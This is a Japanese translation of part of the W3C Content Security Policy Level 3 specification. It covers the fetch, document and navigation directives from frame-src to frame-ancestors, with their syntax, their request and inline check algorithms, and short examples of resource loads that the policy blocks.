frame-src指令は、子ナビゲーションにロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "frame-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: frame-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがframe-srcソースリストと一致しないためです:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストに対して有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameframe-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.5.2. frame-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameframe-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.6. img-src

img-src指令は、画像リソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "img-src"
directive-value = serialized-source-list

この指令は画像をロードするリクエストを制御します。より形式的には、リクエストdestinationが"image"であるものを含みます [FETCH]

以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: img-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがimg-srcソースリストと一致しないためです:

<img src="https://example.org/img">
6.1.6.1. img-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストに対して有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameimg-srcpolicyで実行した結果が"No"の場合、"Allowed"を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブのself-originで実行した結果が "Does Not Match" の場合、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.6.2. img-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameimg-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.7. manifest-src

manifest-src指令は、アプリケーションマニフェストをロード可能なURLを制限します[APPMANIFEST]。指令名と値の構文は以下のABNFで示されます:

directive-name  = "manifest-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: manifest-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがmanifest-srcソースリストと一致しないためです:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namemanifest-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.7.2. manifest-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namemanifest-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.8. media-src

media-src指令は、動画、音声、および関連するテキストトラックリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "media-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: media-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがmedia-srcソースリストと一致しないためです:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namemedia-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.8.2. media-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namemedia-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.9. object-src

object-src指令は、プラグインコンテンツをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "object-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: object-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがobject-srcソースリストと一致しないためです:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

プラグインコンテンツが関連するURLなしでロードされた場合(たとえばobject要素にdata属性がないが、指定されたtypeに基づいてデフォルトプラグインがロードされる場合など)、object-srcの値が'none'なら必ずブロックされます(MUST)。それ以外の場合は許可されます。

注: object-src指令は、objectembed要素に対して行われた全てのリクエストに作用します。これは、これら要素が生成する子ナビゲーションへのリクエスト(ナビゲーションも含む)にも及びます。これは、データが他の指令で制限される内容と意味的に同等であっても同じです。たとえば、object要素にtext/htmlのMIMEタイプが指定された場合なども含まれます。

注: プラグインリソースへの直接ナビゲーション(つまり、プラグインナビゲーション可能内で直接開かれ、embedobject要素で埋め込まれたサブリソースとしてではない場合)、そのリソースとともに配信されたポリシーは、生成されたDocumentに適用されます。つまり、object-src 'none'ポリシーをレスポンスと共に配信することで、任意リソースのプラグインコンテンツとしての実行を防ぐことができます。プラグイン(特にFlashなど)のパワーやセキュリティモデルの特殊性を考慮すると、Rosetta Flashのような攻撃ベクトル対策にも有効です。

6.1.9.1. object-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameobject-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.9.2. object-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameobject-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.10. script-src

script-src指令は、スクリプトの実行可能な場所を制限します。これはscript要素に直接ロードされるURLだけでなく、インラインスクリプトブロックやXSLTスタイルシート[XSLT]など、スクリプト実行を引き起こすものにも該当します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src"
directive-value = serialized-source-list

script-src指令は、すべてのスクリプト類似の宛先(worker-srcが存在しなければワーカー系宛先も含む)に対するデフォルトのフォールバックとして機能します。細かな制御が不要な場合は、script-srcscript-src-attrscript-src-elemより優先して使うべきです。多くの場合、インラインイベントハンドラやscript要素ごとに権限リストを分ける必要はありません。

script-src指令は以下の6つの項目を制御します:

  1. スクリプトのリクエスト§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  2. スクリプトのレスポンス§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  3. インラインscriptブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。全てのポリシーが暗黙的に(script-srcdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-sourcehash-sourceが一致する場合)インラインスクリプトを許可しない限り、動作がブロックされます。

  4. 次のJavaScript実行シンクは"unsafe-eval"と"trusted-types-eval"ソース式で制御されます:

    注: ユーザーエージェントが非標準シンク(setImmediate()execScript()など)を実装している場合も、"unsafe-eval"で制御すべきです(SHOULD)。"unsafe-eval"はグローバルなページフラグとして働くため、script-src-attrscript-src-elemはこのチェックでは使用せず、常にscript-src(またはそのフォールバック指令)が使われます。

  5. 次のWebAssembly実行シンクは"wasm-unsafe-eval"または"unsafe-eval"ソース式で制御されます:

    注: "wasm-unsafe-eval"ソース式はより限定的な式です。例えば、"unsafe-eval"はWebAssemblyのコンパイル(およびインスタンス化)とJavaScriptでの"eval"操作の両方を許可しますが、"wasm-unsafe-eval"はWebAssemblyのみ許可し、JavaScriptには影響しません。

  6. javascript:URLへのナビゲーションは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。スクリプトは、#3の条件通り全てのポリシーがインラインスクリプトを許可する場合のみ実行されます。

6.1.10.1. script-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namescript-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.1.1 スクリプト指令の事前リクエストチェックrequest、このディレクティブ、policyself-originで実行した結果を返す。

6.1.10.2. script-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namescript-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.1.2 スクリプト指令の事後リクエストチェックrequestresponse、このディレクティブ、policyself-originで実行した結果を返す。

6.1.10.3. script-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.11. script-src-elem

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

script-src-elem指令は、全てのスクリプトリクエストとスクリプトブロックに適用されます。スクリプトを実行する属性(インラインイベントハンドラ)はscript-src-attrで制御されます。

そのため、script-srcと比較した場合、以下の違いがあります:

6.1.11.1. script-src-elem 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

与えられた リクエスト requestポリシー policy、 そして オリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namescript-src-elempolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.1.1 スクリプトディレクティブの事前リクエストチェックrequest、このディレクティブ、policyself-origin で実行した結果を返す。

6.1.11.2. script-src-elem 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

次のものが与えられた場合:リクエスト requestレスポンス responseポリシー policyオリジン self-origin

  1. name§ 6.8.1 リクエストに対して有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namescript-src-elempolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.1.2 スクリプトディレクティブの事後リクエストチェックrequestresponse、このディレクティブ、policyself-origin で実行した結果を返す。

6.1.11.3. script-src-elem インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.12. script-src-attr

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

script-src-attr指令は、イベントハンドラに適用されます。これが存在する場合、該当チェックではscript-src指令を上書きします。

6.1.12.1. script-src-attr インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-src-attrpolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.13. style-src

style-src指令は、Documentに適用可能なスタイルの場所を制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src"
directive-value = serialized-source-list

style-src指令は複数の項目を制御します:

  1. スタイルのリクエスト§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。これには以下が含まれます:

    1. link要素によるスタイルシートリクエスト。

    2. @import規則によるスタイルシートリクエスト。

    3. HTTPレスポンスヘッダーLinkフィールド[RFC8288]によるスタイルシートリクエスト。

  2. スタイルリクエストのレスポンス§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  3. インラインstyleブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。すべてのポリシーが暗黙的に(style-srcdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-sourcehash-sourceが一致する場合)インラインスタイルを許可しない限りブロックされます。

  4. 以下のCSSアルゴリズムはunsafe-evalソース式で制御されます:

    1. CSS規則の挿入

    2. CSS規則のパース

    3. CSS宣言ブロックのパース

    4. セレクター群のパース

    これには、例えばCSSOMの各種cssTextセッターやinsertRuleメソッドの全呼び出しが含まれます[CSSOM] [HTML]

    この説明は要改善。[w3c/webappsec-csp Issue #212]

6.1.13.1. style-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namestyle-srcpolicy で実行した結果が "No" の場合、 "Allowed" を返す。

  3. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ とこのディレクティブの で実行した結果が "Matches" の場合、 "Allowed" を返す。

  4. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  5. "Allowed" を返す。

6.1.13.2. style-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namestyle-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ とこのディレクティブの で実行した結果が "Matches" の場合、"Allowed" を返す。

  4. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  5. "Allowed" を返す。

6.1.13.3. style-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

この指令の初期化アルゴリズムは以下の通りです:

CSSOMアルゴリズムをロックダウンするために、実行コンテキストに何らかの興味深い処理を行う必要がある。CSSOMはここにフックがないため、適切な方法を検討するためCSSOM側と協力したい。

6.1.14. style-src-elem

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

style-src-elem指令は、インライン属性で定義されたスタイルを除く、スタイルの挙動を制御します。

6.1.14.1. style-src-elem 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namestyle-src-elempolicy で実行した結果が "No" の場合、 "Allowed" を返す。

  3. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ とこのディレクティブの で実行した結果が "Matches" の場合、 "Allowed" を返す。

  4. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  5. "Allowed" を返す。

6.1.14.2. style-src-elem 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namestyle-src-elempolicy で実行した結果が "No" の場合、 "Allowed" を返す。

  3. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ とこのディレクティブの で実行した結果が "Matches" の場合、 "Allowed" を返す。

  4. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  5. "Allowed" を返す。

6.1.14.3. style-src-elem インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.15. style-src-attr

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

style-src-attr指令は、スタイル属性の挙動を制御します。

6.1.15.1. style-src-attr インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-attrpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.2. その他の指令

6.2.1. webrtc

webrtc指令は、WebRTCによる接続の確立を制限します。指令名と値の構文は次のABNFで表されます:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: webrtc 'block'

ローカルICE候補は公開されず、ピア接続で指定されたICEサーバーに対してSTUNチェックが行われません。JSで提供されるリモート候補への接続確認(connectivity-check)も試みられません。connectionStateは"new"から直接"failed"に遷移し、"connected"には移行しません。pc.restartIce()を試みても同様の結果となります。

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc 事前接続チェック

この指令のwebrtc事前接続チェックは以下の通りです:

  1. この指令のが1つだけで、その値が"'allow'"とASCII大文字・小文字を区別しない一致をする場合、"Allowed"を返す。

  2. "Blocked"を返す。

6.2.2. worker-src

worker-src指令は、WorkerSharedWorkerServiceWorkerとしてロードできるURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "worker-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: worker-src https://example.com/

下記コードによるフェッチは全てネットワークエラーになります。指定URLがworker-srcソースリストと一致しないためです:

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

次のものが与えられた場合:リクエスト requestポリシー policyオリジン self-origin

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブが実行されるべきかnameworker-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.2.2.2. worker-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブが実行されるべきかnameworker-srcpolicy で実行した結果が "No" の場合、 "Allowed" を返す。

  3. § 6.7.2.6 レスポンスがソースリストに一致するかresponserequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、 "Blocked" を返す。

  4. "Allowed" を返す。

6.3. ドキュメント指令

以下の指令は、ポリシーが適用されるドキュメントまたはワーカー環境のプロパティを制御します。

6.3.1. base-uri

base-uri指令は、URLDocumentbase要素で利用できるかを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "base-uri"
directive-value = serialized-source-list

以下のアルゴリズムは、HTMLの凍結ベースURLの設定アルゴリズム内で呼び出され、この指令の監視と強制を行います:

6.3.1.1. documentbaseは許可されているか?

URL baseDocument documentが与えられた場合、このアルゴリズムはbasebase要素のhref属性値として利用できる場合は"Allowed"を返し、そうでなければ"Blocked"を返します:

  1. CSPリストdocumentグローバルオブジェクトcspリストとする。

  2. policyについて、CSPリストpoliciesを繰り返す:

    1. source listをnullとする。

    2. ディレクティブnameが "base-uri"のものがpolicyディレクティブセットに存在する場合、そのディレクティブsource listに設定する。

    3. source listがnullの場合、次のpolicyにスキップする。

    4. § 6.7.2.7 URLがorigin内のsource listとリダイレクト回数付きで一致するかbasesource listCSPリストself-origin0で実行し、 "Does Not Match"の場合:

      1. violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト生成documentグローバルオブジェクトpolicy、"base-uri"で実行した結果にする。

      2. violationresourceを"inline"に設定する。

      3. § 5.5 違反を報告するviolationに対して実行する。

      4. policydispositionが"enforce"の場合、"Blocked"を返す。

    注: フォールバックベースURLと比較するのは、 iframe srcdoc Documentのような不透明オリジンにサンドボックスされた場合を正しく扱うためである。

  3. "Allowed"を返す。

6.3.2. sandbox

sandbox指令は、ユーザーエージェントがリソースに適用するHTMLサンドボックスポリシーを指定します。これは、iframesandbox属性と同様に機能します。

指令の構文は次のABNFで示されます。さらに、各トークン値はHTML仕様で許可されたiframesandbox属性値のいずれかでなければなりません(MUST)[HTML]

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

この指令には報告要件はありません。Content-Security-Policy-Report-Onlyヘッダーやmeta要素内で配信された場合は完全に無視されます。

6.3.2.1. sandbox 初期化

この指令の初期化アルゴリズムは、ポリシーに含まれるsandbox値に従って、ワーカーの実行が許可されているかどうかを確認する役割を持ちます:

注: sandbox指令は、Document有効サンドボックスフラグセットCSP由来サンドボックスフラグ経由で調整する役割も持ちます。

Documentまたはグローバルオブジェクトcontextpolicy policyが与えられた場合:

  1. policyディスポジションが"enforce"以外、またはcontextWorkerGlobalScopeでなければ、このアルゴリズムを中止。

  2. sandboxing flag setを新しいサンドボックスフラグセットとして作成。

  3. サンドボックス指令のパースを、この指令のを入力、sandboxing flag setを出力として実行。

  4. sandboxing flag setサンドボックススクリプトブラウジングコンテキストフラグまたはサンドボックスオリジンブラウジングコンテキストフラグが含まれていれば"Blocked"を返す。

    注: ワーカーをユニークオリジンにサンドボックス化可能にする場合は、この動作変更が必要になるかもしれません。

  5. "Allowed"を返す。

6.4. ナビゲーション指令

6.4.1. form-action

form-action指令は、フォーム送信のターゲットとなるURLを制限します。指令の構文は以下のABNFで示されます:

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1. form-action 事前ナビゲーションチェック

リクエスト request、文字列 navigation type ("form-submission" または "other")、ポリシー policyオリジン self-origin が与えられた場合、このアルゴリズムは "Blocked" を返す(フォーム送信が form-action ディレクティブの制約に違反する場合)、 そうでなければ "Allowed" を返す。 これは form-action ディレクティブの事前ナビゲーションチェックとなる:

  1. Assert: policy はこのアルゴリズムでは使用されない。

  2. navigation type が "form-submission" の場合:

    1. § 6.7.2.5 リクエストがソースリストに一致するかrequest、このディレクティブの self-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  3. "Allowed" を返す。

6.4.2. frame-ancestors

frame-ancestors指令は、URLframeiframeobjectembedでリソースを埋め込み可能かどうかを制限します。 この指令は、リソースが潜在的に悪意あるコンテキストへ埋め込まれるリスクを避けることで、多くのUIリドレッシング[UISECURITY]攻撃を防ぐことができます。

指令の構文は以下のABNFで示されます:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

frame-ancestors指令は、meta要素で宣言されたポリシーに含まれている場合は無視されます。

注: frame-ancestors指令の構文はソースリストに似ていますが、frame-ancestorsdefault-src指令の値にはフォールバックしません。つまり、default-src 'none'を宣言しても、リソースは誰でも埋め込めます。

6.4.2.1. frame-ancestors ナビゲーションレスポンスチェック

次のものが与えられた場合:リクエスト request、文字列 navigation type ("form-submission" または "other")、レスポンス navigation responseナビゲーブル target、文字列 check type ("source" または "response")、 ポリシー policyオリジン self-originが与えられた場合、このアルゴリズムは target の祖先に frame-ancestors ディレクティブに違反があれば "Blocked" を返し、 そうでなければ "Allowed" を返す。 これは frame-ancestors ディレクティブのナビゲーションレスポンスチェックとなる:

  1. navigation responseURLローカルの場合、"Allowed" を返す。

  2. Assert: request, navigation response, navigation typeはこのアルゴリズム以降は使用しない。frame-ancestorsnavigation responseframe-ancestors ディレクティブのみに関係するため。

  3. check type が "source" の場合、"Allowed" を返す。

    注: 'frame-ancestors' ディレクティブtarget ナビゲーブルにのみ関係し、requestのコンテキストには影響しない。

  4. target子ナビゲーブルでない場合、"Allowed" を返す。

  5. currenttargetとする。

  6. current子ナビゲーブルである間:

    1. documentcurrentコンテナドキュメントとする。

    2. originURLパーサオリジンのASCIIシリアライゼーション documentoriginに対して実行した結果とする。

    3. § 6.7.2.7 URLがorigin内のsource listとリダイレクト回数付きで一致するかorigin、このディレクティブのself-origin0で実行し、"Does Not Match"の場合、"Blocked" を返す。

    4. currentdocumentノードナビゲーブルとする。

  7. "Allowed" を返す。

6.4.2.2. ``X-Frame-Options``との関係

